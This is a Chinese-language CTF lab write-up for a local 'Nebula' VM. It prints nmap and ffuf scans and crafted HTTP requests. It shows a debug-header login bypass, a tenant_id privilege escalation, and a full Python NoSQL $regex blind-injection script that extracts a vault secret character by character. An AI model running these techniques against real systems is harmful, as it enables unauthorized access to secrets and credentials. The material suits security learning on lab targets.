

Nebula

配置：

靶机用virtualBox制作，VMware导入可能网卡不兼容
用户:todd 密码:qq660930334

1. 启动虚拟机时按`e`键进入GRUB编辑模式
2. 修改启动参数：将`ro`改为`rw single init=/bin/bash`
3. 按Ctrl+X启动进入单用户模式

```
vim /etc/network/interfaces
allow-hotplug ens33
iface ens33 inet dhcp

ip link set ens33 up
dhclient ens33

reboot -f
```

端口扫描

```
(root㉿kali)-[~/home/kali]
# nmap -p- --min-rate 10000 -n -Pn -sCV 192.168.44.159
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-30 01:25 EST
Nmap scan report for 192.168.44.159
Host is up (0.00095s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
| http-title: Nebula Sentinel - \xE4\xBC\x81\xE4\xB8\x9A\xE5\xAF\x86\xE9\x92\xA5\xE7\xAE\xA1\xE7\x90\x86\xE5\xB9\xB3\xE5\x8F\xB0
| http-server-header: Apache/2.4.62 (Debian)
5000/tcp   open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|       Server: Werkzeug/3.1.4 Python/3.9.2
|       Date: Tue, 30 Dec 2025 06:25:26 GMT
|       Content-Type: text/html; charset=utf-8
|       Content-Length: 907
|       X-Sentinel-Debug: None
|       Server: NebulaSentinel/2.5.1
|       X-Content-Type-Options: nosniff
|       Connection: close
|       <!DOCTYPE html>
|       <html lang="en">
|       <head>
|       <meta charset="UTF-8">
|       <title>Nebula Sentinel API</title>
|       <style>
|       body {
|         font-family: monospace;
|         background: #0d1117;
|         color: #c9d1d9;
|         padding: 40px;
```

服务探测

80端口分析

系统密钥存储概览

Nebula Sentinel 为不同部门和系统组件提供严格隔离的密钥存储服务。以下是当前平台中已注册的密钥条目及其业务用途说明。

安全提醒：密钥实际值（value）在生产环境中绝不会以任何形式明文展示或记录。本页面仅用于内部开发、测试与合规审计参考。

所属租户	密钥名称	业务描述
system	secure_vault_key	平台核心主加密密钥，用于内部服务间敏感数据加密、签名验证及安全会话保护。属于最高机密等级，仅系统管理员可访问。
finance	finance_payment_gateway	财务部门专用的第三方支付网关接入密钥，用于线上收款、退款及对账等高价值金融交易流程。
finance	tax_calculation_secret	税务计算服务专用密钥，确保税率计算、电子发票生成及税务申报的完整性与合规性。
hr	payroll_api_token	人力资源薪资系统对接令牌，用于安全传输员工薪资、社保、公积金及个人所得税等敏感信息。
engineering	devops_ci_cd_token	DevOps 团队持续集成/持续部署流水线访问令牌，用于自动化代码构建、测试与生产环境发布。
engineering	infra_monitoring_key	基础设施监控系统专用密钥，用于实时采集服务器、容器、数据库及网络性能指标。

内部说明：平台提供严格的租户隔离机制，所有密钥访问均受当前会话租户限制。
另设有内部准确性验证功能，仅用于密钥完整性检查与审计目的，不返回任何明文值。

安全访问原则

所有密钥操作均遵循最小权限原则，仅授权人员可在所属租户范围内查看键名与描述。任何尝试跨租户访问的行为将被记录并告警。
密钥值本身通过硬件安全模块（HSM）与多重加密保护，日常业务系统仅能以加密形式引用。

不出意外的话，指引的目的应该是让获得system权限的secure_vault_key
秘钥完整性检验，不会直接的给出秘钥值

5000端口分析

提供了一个生产版本的api服务接口，回到80端口回想起来有一个devops_ci_cd_token用与生产测试环境使用，那么是不是有debug

Nebula Sentinel Internal API Service

Nebula Sentinel 内部 API 服务

Version: 2.5.1 (Production)
版本: 2.5.1 (生产版)

Welcome to Nebula Sentinel Enterprise Security Platform.

欢迎使用 Nebula Sentinel 企业安全平台。

This endpoint provides RESTful API services only.
No web interface is available.

Documentation: Internal only (Confluence: NS-API-DOCS-v2.5)

此端点仅提供 RESTful API 服务，无网页界面。 文档：仅限内部使用 (Confluence: NS-API-DOCS-v2.5)

Support: security-ops@nebula-sentinel.corp

© 2025 Nebula Sentinel Corporation. All rights reserved.

Request

```
1 GET / [HTTP/1.1
2 Host : 192.168.44.159:5000
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/json
8 Accept-Language: zh-CN,zh;q=0.9
9
```

907bytes / 3ms

美化 源码 搜索 调试 滚动条 详细

```
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4 Python/3.9.2
3 Date: Tue, 30 Dec 2025 06:58:11 GMT
4 Content-Type: text/html; charset=utf-8
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 Set-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 906
10
11 <!doctype html>
12 <html lang="en">
13 <head>
14   <meta charset="UTF-8" />
15   <title>Nebula Sentinel API</title>
16 <style>
17   body {
18     font-family: monospace;
19     background: #f0f0f0;
20     color: #c9d1d9;
21     padding: 40px;
22   }
23
24   pre {
25     background: #f1f1f1;
26     padding: 20px;
27     border-radius: 6px;
28 }
```

远端地址:192.168.44.159:5000:耗时:3ms 总耗时:17ms URL: http://192.168.44.159:5000/

根据常见api以及2版本进行fuzz，发现以下接口

/api/v2/health
/api/v2/login
/api/v2/stats
/api/v2/users
/api/v2/vault
/api/v2/users/list
/api/v2/vault/query

```
[root@kali ~]# ffuf -w /usr/share/wordlists/dirb/common.txt -u http://192.168.44.159:5000/api/v2/FUZZ
[{'-': '-'}, {'-': '-'}, {'-': '-'}]
v2.1.0-dev

:: Method      : GET
:: URL        : http://192.168.44.159:5000/api/v2/FUZZ
:: Wordlist    : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration   : false
:: Timeout       : 10
:: Threads       : 40
:: Matcher       : Response status: 200-299,301,302,307,401,403,405,500

health          [Status: 200, Size: 80, Words: 1, Lines: 2, Duration: 59ms]
login           [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 48ms]
stats            [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 42ms]
users            [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 49ms]
vault             [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 46ms]
:: Progress: [4614/4614] :: Job [1/1] :: 769 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
```

```
[root@kali ~]# ffuf -w /usr/share/wordlists/dirb/common.txt -u http://192.168.44.159:5000/api/v2/users/FUZZ
[{'-': '-'}, {'-': '-'}, {'-': '-'}]
v2.1.0-dev

:: Method      : GET
:: URL        : http://192.168.44.159:5000/api/v2/users/FUZZ
:: Wordlist    : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration   : false
:: Timeout       : 10
:: Threads       : 40
:: Matcher       : Response status: 200-299,301,302,307,401,403,405,500

list            [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 46ms]
:: Progress: [4614/4614] :: Job [1/1] :: 806 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
```

```

└─(root㉿kali)-[~/home/kali]
# ffuf -w /usr/share/wordlists/dirb/common.txt -u http://192.168.44.159:5000/api/v2/vault/FUZZ


```

v2.1.0-dev

```

:: Method      : GET
:: URL        : http://192.168.44.159:5000/api/v2/vault/FUZZ
:: Wordlist   : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout    : 10
:: Threads    : 40
:: Matcher    : Response status: 200-299,301,302,307,401,403,405,500

query          [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 53ms]
:: Progress: [4614/4614] :: Job [1/1] :: 740 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
```

响应405是因为要post请求以及要json，接口少那就每一个去分析一下，其实很多见名知意的，405就用
`{"1":"1"}`

/api/v2/health

返回接口的状态的

← → ⚙️ 🔍 不安全 192.168.44.159:5000/api/v2/health

美观输出 □

```
{"status": "healthy", "timestamp": "2025-12-30T07:40:41.293994", "version": "2.5.1"}
```

/api/v2/login

发送请求 强制 HTTPS □ 历史 破解示例

Request	数据包扫描 美化 热加载 构造请求
---------	-------------------

```

1 POST /api/v2/login HTTP/1.1
2 Host: 192.168.44.159:5000
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/json
8 Accept-Language: zh-CN,zh;q=0.9
9
10
11 {"1":"1"}
```

74bytes / 0ms	美化 编码	请输入定位响应
---------------	-------	---------

```

1 HTTP/1.1:400-BAD REQUEST
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 30 Dec 2025 07:45:45 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 74
10
11 {"error": "Missing required parameters", "missing": ["username", "password"]}
12 |
```

登录接口，提示要用username和password

发送请求 强制 HTTPS 历史 破坏示例

```

Request
1 POST /api/v2/login HTTP/1.1
2 Host: 192.168.44.159:5000
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/json
8 Accept-Language: zh-CN,zh;q=0.9
9
10 {"username": "test", "password": "test"}
11

```

19 bytes

```

1 HTTP/1.1 401 UNAUTHORIZED
2 Server: Werkzeug/3.1.4 Python/3.9.2
3 Date: Tue, 30 Dec 2025 07:48:11 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 32
10
11 {"error": "Invalid credentials"}
12

```

用了用户名和密码，发现是无效凭证，这时候想起来debug响应头为空修改值

发送请求 强制 HTTPS 历史 破坏示例

```

Request
1 POST /api/v2/login HTTP/1.1
2 Host: 192.168.44.159:5000
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/json
8 Accept-Language: zh-CN,zh;q=0.9
9 X-Sentinel-Debug: 1
10
11 {"username": "test", "password": "test"}
12

```

171bytes / 3ms

```

1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4 Python/3.9.2
3 Date: Tue, 30 Dec 2025 07:50:03 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 171
10
11 {"access_level": "admin-test", "message": "Shadow Debug Mode activated", "tenant_id": "engineering", "token": "cdbe6e81f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaf45"}
12

```

```
{"access_level": "admin-test", "message": "Shadow Debug Mode activated", "tenant_id": "engineering", "token": "cdbe6e81f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaf45"}
```

返回了当前用户为admin-test还有一个token，后面要用这个token前访问接口，不然会提示没有令牌

/api/v2/stats

返回当前用户身份状态

发送请求 强制 HTTPS 历史 破坏示例

```

Request
1 POST /api/v2/stats HTTP/1.1
2 Host: 192.168.44.159:5000
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/json
8 Accept-Language: zh-CN,zh;q=0.9
9 X-Sentinel-Debug: 1
10 Authorization: Bearer cdbe6e81f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaf45
11
12

```

71bytes / 2ms

```

1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4 Python/3.9.2
3 Date: Tue, 30 Dec 2025 07:52:16 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 71
10
11 {"access_level": "admin-test", "tenant_id": "engineering", "user_count": 1}
12

```

/api/v2/users

返回user的具体情况归属之类的

发送请求 强制 HTTPS | 历史 撞破示例

Request

```

1 POST /api/v2/users HTTP/1.1
2 Host : 192.168.44.159:5000
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/json
8 Accept-Language: zh-CN,zh;q=0.9
9 X-Sentinel-Debug: 1
10 Authorization: Bearer cdbe6e81f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaaf45
11
12 {"*": "*"}

```

Response

```

112bytes / 2ms
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 30 Dec 2025 07:53:11 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 112
10
11 {"count":1,"tenant_id":"engineering","users":[{"access_level":"user","department":"DevOps","username":"mlee"}]}
12

```

/api/v2/vault

存放value的地方

发送请求 强制 HTTPS | 历史 撞破示例

Request

```

1 POST /api/v2/vault HTTP/1.1
2 Host : 192.168.44.159:5000
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/json
8 Accept-Language: zh-CN,zh;q=0.9
9 X-Sentinel-Debug: 1
10 Authorization: Bearer cdbe6e81f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaaf45
11
12 {"*": "*"}

```

Response

```

13 bytes
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 30 Dec 2025 07:54:49 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 31
10
11 {"count":0,"vault_entries":[]}
12

```

/api/v2/users/list

存放所有的用户信息的，【学长问我怎么知道tenant_id参数的，其实除了这里告诉之外，在80端口哪里的身份归属也解释的很详细】

发送请求 强制 HTTPS | 历史 撞破示例

Request

```

1 POST /api/v2/users/list HTTP/1.1
2 Host : 192.168.44.159:5000
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/json
8 Accept-Language: zh-CN,zh;q=0.9
9 X-Sentinel-Debug: 1
10 Authorization: Bearer cdbe6e81f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaaf45
11
12 {"*": "*"}

```

Response

```

469bytes / 3ms
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 30 Dec 2025 07:56:13 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 469
10
11 {"count":5,"users":[{"access_level":"admin","department":"IT-Security","tenant_id":"system","username":"admin"}, {"access_level":"manager","department":"Finance","tenant_id":"finance","username":"jdoe"}, {"access_level":"user","department":"Human Resources","tenant_id":"hr","username":"amith"}, {"access_level":"user","department":"DevOps","tenant_id":"engineering","username":"mlee"}, {"access_level":"guest","department":null,"tenant_id":"public","username":"guest"}]}
12

```

/api/v2/vault/query

查询key值的地方

发送请求 强制 HTTPS | 历史 撞破示例

Request

```

1 POST /api/v2/vault/query HTTP/1.1
2 Host : 192.168.44.159:5000
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/json
8 Accept-Language: zh-CN,zh;q=0.9
9 X-Sentinel-Debug: 1
10 Authorization: Bearer cdbe6e81f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaaf45
11
12 {"*": "*"}

```

Response

```

93bytes / 2ms
1 HTTP/1.1 400 BAD REQUEST
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 30 Dec 2025 07:58:34 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 93
10
11 {"error":"Missing required parameters","missing":["key","value"],"required":["key","value"]}
12

```

流程

越权

现在已经获得`admin-test`的`user`，但是想要的目的是`system`用户的，就想办法进行越权到`system`用户上面去，去`users`接口上面改`tenant_id`

为什么是改他呢，在`users/list`上面给了参数`access_level`, `department`, `tenant_id`, `username`前面两个是归属特性类的，只给`username`没有给`passwd`登录不了，那么就尝试修改`tenant_id`进行越权去`stats`进行验证确实变成了`system`，说明可以进行越权，思路没有问题

```
Request
POST /api/v2/users HTTP/1.1
Host: 192.168.44.159:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9
X-Sentinel-Debug: 1
Authorization: Bearer cdb6e681f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaaf45
{"tenant_id": "system"}
```

114bytes / 2ms
美化 编码 请输入定位响应 发送 历史 报错示例 JSON YAML

```
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4 Python/3.9.2
3 Date: Tue, 30 Dec 2025 08:04:23 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 114
10
11 {"count":1,"tenant_id":"system","users":[{"access_level":"admin","department":"IT-Security","username":"admin"}]}
12
```

```
Request
POST /api/v2/stats HTTP/1.1
Host: 192.168.44.159:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9
X-Sentinel-Debug: 1
Authorization: Bearer cdb6e681f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaaf45
{"tenant_id": "system"}
```

66bytes / 1ms
美化 编码 请输入定位响应 发送 历史 报错示例 JSON YAML

```
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4 Python/3.9.2
3 Date: Tue, 30 Dec 2025 08:04:46 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 66
10
11 {"access_level": "admin-test", "tenant_id": "system", "user_count": 1}
12
```

找key

去`vault`下面用`{"tenant_id": "system"}`去看发现了 跟80端口描述的一样
"key": "secure_vault_key"，但是这个接口只能看到名字没有值，去查询界面探测一下

```
Request
POST /api/v2/vault/query HTTP/1.1
Host: 192.168.44.159:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9
X-Sentinel-Debug: 1
Authorization: Bearer cdb6e681f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaaf45
{"tenant_id": "system"}
```

93bytes / 1ms
美化 编码 请输入定位响应 发送 历史 报错示例 JSON YAML

```
1 HTTP/1.1 400 BAD REQUEST
2 Server: Werkzeug/3.1.4 Python/3.9.2
3 Date: Tue, 30 Dec 2025 08:04:43 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 93
10
11 {"error": "Missing required parameters", "missing": ["key", "value"], "required": ["key", "value"]}
12
```

提示了要用`key`和`value`，我们是有`key`但是没有`value`置空查看

```

Request
1 POST /api/v2/vault/query HTTP/1.1
2 Host : 192.168.44.159:5000
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/json
8 Accept-Language: zh-CN,zh;q=0.9
9 X-Sentinel-Debug: 1
10 Authorization: Bearer cdb6e81f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaaf45
11 {"key": "secure_vault_key", "value": ""}
12

Response
1 HTTP/1.1 400 BAD REQUEST
2 Server: Werkzeug/3.1.4 Python/3.9.2
3 Date: Tue, 30 Dec 2025 08:18:23 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 82
10
11 {"error": "Invalid value format", "hint": "value must be a valid regular expression"}
12

```

这里提示了要用\$regex的键值，尝试在这里面输入值，只会显示匹配的数量，那意思就是正则匹配，对了就返回1，不对就返回0，注入一样，那就直接叫ai写一个注入脚本就好了

```

Request
1 POST /api/v2/vault/query HTTP/1.1
2 Host : 192.168.44.159:5000
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/json
8 Accept-Language: zh-CN,zh;q=0.9
9 X-Sentinel-Debug: 1
10 Authorization: Bearer cdb6e81f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaaf45
11 {"key": "secure_vault_key", "value": {"$regex": ""}}
12

Response
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4 Python/3.9.2
3 Date: Tue, 30 Dec 2025 08:18:52 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 18
10
11 {"match_count": 1}
12

```

```

import requests
import re
base_url = "http://192.168.44.159:5000/api/v2/vault/query"
headers = {
    "Authorization": "Bearer edfb6a6bdcbc1c3f4289a741917a61ab9381c153d8a4265c1b8de03eb32d4695",
    "X-Sentinel-Debug": "1",
}
known_part = ""
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-"
while True:
    found_char = False
    for char in charset:
        guess = known_part + char
        payload = {
            "key": "secure_vault_key",
            "value": {"$regex": f"^{re.escape(guess)}"},
        }
        response = requests.post(base_url, json=payload, headers=headers)
        if response.status_code == 200:
            count = response.json()['match_count']
            if count == 1:
                print(f"[+] Found char: {char}. Current value: {guess}")
                known_part = guess
                found_char = True
                break
            else:
                print(f"[-] Tried: {guess}, Count: {count}")
        else:
            print(f"[!] Error: {response.status_code}, {response.text}")
    if not found_char:

```

```
print(f"[+] Finished! The full value is: {known_part}")
break
```

```
C:\> Users > 35370 > Desktop > test.py > ...
1  import requests
2  import re
3  base_url = "http://192.168.44.159:5000/api/v2/vault/query"
4  headers = {
5      "Authorization": "Bearer cdbe6e81f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaaf45",
6      "X-Sentinel-Debug": "1",
7  }
8  known_part = ""
9  charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
10 while True:
11     found_char = False
12     for char in charset:
13         guess = known_part + char
14         payload = {
15             "key": "secure_vault_key",
16             "value": {"$regex": f"^{re.escape(guess)}"},
```

PS C:\Users\35370\Desktop> & 'C:\Users\35370\AppData\Local\Programs\Python\Python311\python.exe' 'c:\Users\35370\.vscode\extensions\ms-python.debugpy-2025.18.0-win32-x64\bundled\libs\debugpy\launcher' '8146' '--' 'C:\Users\35370\Desktop\test.py'

```
[+] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE4, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE5, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE6, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE7, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE8, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE9, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE_, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE{, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE}, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=-, Count: 0
[+] Finished! The full value is: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=
```

PS C:\Users\35370\Desktop>

匹配出来一个像base64的字符串，但是我一开始没有加=，就没有这个特征，加进去，果然就有了，去base64解码获得用户的账号和密码

```
C:\> Users > 35370 > Desktop > test.py > ...
1  import requests
2  import re
3  base_url = "http://192.168.44.159:5000/api/v2/vault/query"
4  headers = {
5      "Authorization": "Bearer cdbe6e81f3ffbe2ac97c91a993a20bd06b5bb6631e9c268fd46873b5a48aaaf45",
6      "X-Sentinel-Debug": "1",
7  }
8  known_part = ""
9  charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
10 while True:
11     found_char = False
12     for char in charset:
13         guess = known_part + char
14         payload = {
15             "key": "secure_vault_key",
16             "value": {"$regex": f"^{re.escape(guess)}"},
```

PS C:\Users\35370\Desktop> & 'C:\Users\35370\AppData\Local\Programs\Python\Python311\python.debugpy-2025.18.0-win32-x64\bundled\libs\debugpy\launcher' '8021' '--' 'C:\Users\35370\Desktop\test.py'

```
[+] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=Z, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=0, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=1, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=2, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=3, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=4, Count: 0
